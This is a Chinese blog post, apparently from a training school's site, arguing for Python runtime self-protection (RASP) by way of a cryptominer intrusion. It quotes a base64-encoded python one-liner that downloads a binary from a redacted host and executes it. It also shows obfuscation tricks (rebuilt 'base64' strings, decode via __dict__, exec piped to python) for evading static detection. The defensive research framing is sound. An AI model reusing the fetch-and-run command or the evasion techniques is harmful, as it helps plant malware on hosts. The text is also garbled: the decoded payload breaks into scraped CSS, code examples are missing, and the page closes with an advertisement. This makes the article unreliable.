Python RASP 工程化:一次入侵的思考

 

前言

今天讲的内容会很深,包括一些 Python的高级用法和一些自己创造的黑科技,前半部分内容你们可能听过,后半部分内容就真的是黑科技了。。。

深入的研究和思考,总会发现很多有意思的东西。每一次的研究,都不会是无缘无故的,下面开始我们今天的故事。(注意文末有花絮

Tips: RASP,全称应用运行时自我保护解决方案,可以简单理解为部署在应用环境的监控防御程序。

 

万事有因果

本次的研究 来源于 对一次入侵手法的思考,众所周知,在linux主机上,挖矿木马比较流行。现在挖比特币的相对少了,又有挖门罗币的。这些木马的植入不会说直接传文件上去,这样动作太大,更多的是通过执行shell命令,远程下载文件并执行 。以如下情况为例,很特别,这是一个通过Python命令植入的挖矿木马:

 

python -c 'exec("aW1wb3J0IG9zOyBpbXBvcnQgdXJsbGliOyBoZCA9IHVybGxpYi51cmxyZXRyaWV2ZSAoImh0dHA6Ly8xMjcuMC4wLjEvanAvam0iLCAiL3Zhci90bXAvc3ZyIik7IG9zLnN5c3RlbSgiY2htb2QgK3ggL3Zhci90bXAvc3ZyIik7IG9zLnN5c3RlbSgiL3Zhci90bXAvc3ZyIik7".decode("base64"))'

 

通过base64解密之后的内容(ip脱敏了):

 

import os; import urllib; hd = urllib.urlretrieve ("upload/201902131556475736.gif"); background-position: 25px 0px; background-size: initial; background-repeat: no-repeat; background-attachment: initial; background-origin: initial; background-clip: initial; border: 2px solid rgb(239, 239, 239); min-height: 35px; line-height: 1.6em; color: rgb(51, 51, 51); font-family: verdana, "ms song", 宋体, Arial, 微软雅黑, Helvetica, sans-serif; font-size: 13px;">

"base64" = 'case64'.replace('c','b') = '1base641'[1:7]

 

2. 绕过decode (或者直接不用编码)

 

str.__dict__["dec"+"ode"]('aW1wb3J0IG1hdGg7YT0xMDtiPW1hdGgubG9nKGEpO3ByaW50KGIpOwo=','base64')

 

3.终极绝招(妙用管道,让你抓不到Python参数)

 

echo "exec('aW1wb3J0IG1hdGg7YT0xMDtiPW1hdGgubG9nKGEpO3ByaW50KGIpOwo='.decode('base64'*1))" | python

 

相信到第3步,静态分析已经穷途末路,你连数据都没有了。

 

这3次绕过是想说明一个问题,Python语言很灵活,尤其和shell结合后,静态分析这条路已经解决不了实际问题。

 

问题出在哪呢?问题出在Python语言本身,语法的灵活对静态分析是致命的。我总结了这么一句话,大家可以回味一下:

 

当字符串可以当作代码执行时,静态分析的尽头也就到了

 

那该怎么解决呢?从Python语言本身出发,监控整个Python的动态行为,这就是Python RASP。

 

研究Python RASP值不值得花时间呢? 你只需要知道每个linux主机上都会预装Python环境,你就知道它的威胁了。

 

说实话,有开源的PHP RASP,JAVA RASP,还真的没有Python RASP,下面的研究完全是一个摸索的过程。

 

在研究的过程中,我碰到两次僵局,穷途陌路之感,差一点以为Python RASP 不能发挥很大的作用。

 

Monkey Patch 与 依赖注入

Python RASP的行为监控,简单来说就是hook关键函数,将函数的参数和返回值,送回策略进行过滤。

(1) Monkey Patch

说到hook,首先想到的是Monkey Patch这种方法,对于Python的理念来说,一切皆对象,我们可以动态修改Python中的对象。举个例子:

 

 

在主函数中,修改open内置函数,给open添加的了日志打印的功能。运行效果如下,成功的打印出了日志:

 

 

函数调用顺序如下:

 

关键字:
50000+
5万行代码练就真实本领
17年
创办于2008年老牌培训机构
1000+
合作企业
98%
就业率

联系我们

电话咨询

0532-85025005

扫码添加微信